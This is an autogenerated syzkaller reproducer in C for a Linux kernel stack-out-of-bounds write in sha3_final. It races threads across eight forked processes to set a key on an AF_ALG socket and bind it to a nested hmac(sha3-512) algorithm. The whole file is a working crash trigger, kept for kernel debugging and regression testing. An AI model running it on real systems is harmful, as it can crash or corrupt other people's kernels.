syzkaller-repros/linux/3bf48abb447593ade9c7ba86c74b6eb3d9c75956.c

// KASAN: stack-out-of-bounds Write in sha3_final
// https://syzkaller.appspot.com/bug?id=3bf48abb447593ade9c7ba86c74b6eb3d9c75956
// status:dup
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <pthread.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>

#include <stdint.h>
#include <string.h>

static void test();

void loop()
{
  while (1) {
    test();
  }
}

long r[10];
void* thr(void* arg)
{
  switch ((long)arg) {
  case 0:
    r[0] = syscall(__NR_mmap, 0x20000000ul, 0x263000ul, 0x3ul, 0x32ul,
                   0xfffffffffffffffful, 0x0ul);
    break;
  case 1:
    r[1] = syscall(__NR_socket, 0x26ul, 0x5ul, 0x0ul);
    break;
  case 2:
    memcpy((void*)0x20002000,
           "\xf8\x63\xf3\xa3\x4f\xf0\x1b\x62\xd6\xb2\x8c\x2a\xcd\x6b"
           "\xba\x67\x6d\xd7\xd9\x71\x9c\xd8\x27\xc7\x8d\xb5\xa5\x82"
           "\x7b\x06\x19\x0d\x71\x6a\xe1\x02\xe5\x1d\xde\xb4\x69\x47"
           "\x1b\x86\x95\x44\x4c\xf8\xe3\x24\xe8\x9d\x25\xec\x85\x6b"
           "\x1c\xe1\x8b\xb9\xe0\x3d\x27\x93\xcc\x6a\x94\x2a\x8b\x6c"
           "\x5c\x6a\x4f\xf9\x5f\x15\xc2\xa9\x8d\x46\x77\xb8\x35\x55"
           "\xd9\x7e\x62\x0d\xd3\x16\xeb\xd7\x16\x7a\xab\xe7\xbc\x71"
           "\x96\x9b\xdc\xb1\xce\x85\x15\x8f\xde\x28\x91\xea\x99\x2e"
           "\xc6\x00\xff\x29\x7d\xeb\x40\x4e\xb7",
           121);
    r[3] = syscall(__NR_setsockopt, r[1], 0x117ul, 0x1ul, 0x20002000ul,
                   0x79ul);
    break;
  case 3:
    *(uint16_t*)0x20002000 = (uint16_t)0x26;
    memcpy((void*)0x20002002,
           "\x68\x61\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
           14);
    *(uint32_t*)0x20002010 = (uint32_t)0x0;
    *(uint32_t*)0x20002014 = (uint32_t)0x0;
    memcpy((void*)0x20002018,
           "\x68\x6d\x61\x63\x28\x68\x6d\x61\x63\x28\x73\x68\x61\x33"
           "\x2d\x35\x31\x32\x2d\x67\x65\x6e\x65\x72\x69\x63\x29\x29"
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x00\x00\x00\x00\x00",
           64);
    r[9] = syscall(__NR_bind, r[1], 0x20002000ul, 0x58ul);
    break;
  }
  return 0;
}

void test()
{
  long i;
  pthread_t th[8];

  memset(r, -1, sizeof(r));
  srand(getpid());
  for (i = 0; i < 4; i++) {
    pthread_create(&th[i], 0, thr, (void*)i);
    usleep(rand() % 10000);
  }
  for (i = 0; i < 4; i++) {
    pthread_create(&th[4 + i], 0, thr, (void*)i);
    if (rand() % 2)
      usleep(rand() % 10000);
  }
  usleep(rand() % 100000);
}

int main()
{
  int i;
  for (i = 0; i < 8; i++) {
    if (fork() == 0) {
      loop();
      return 0;
    }
  }
  sleep(1000000);
  return 0;
}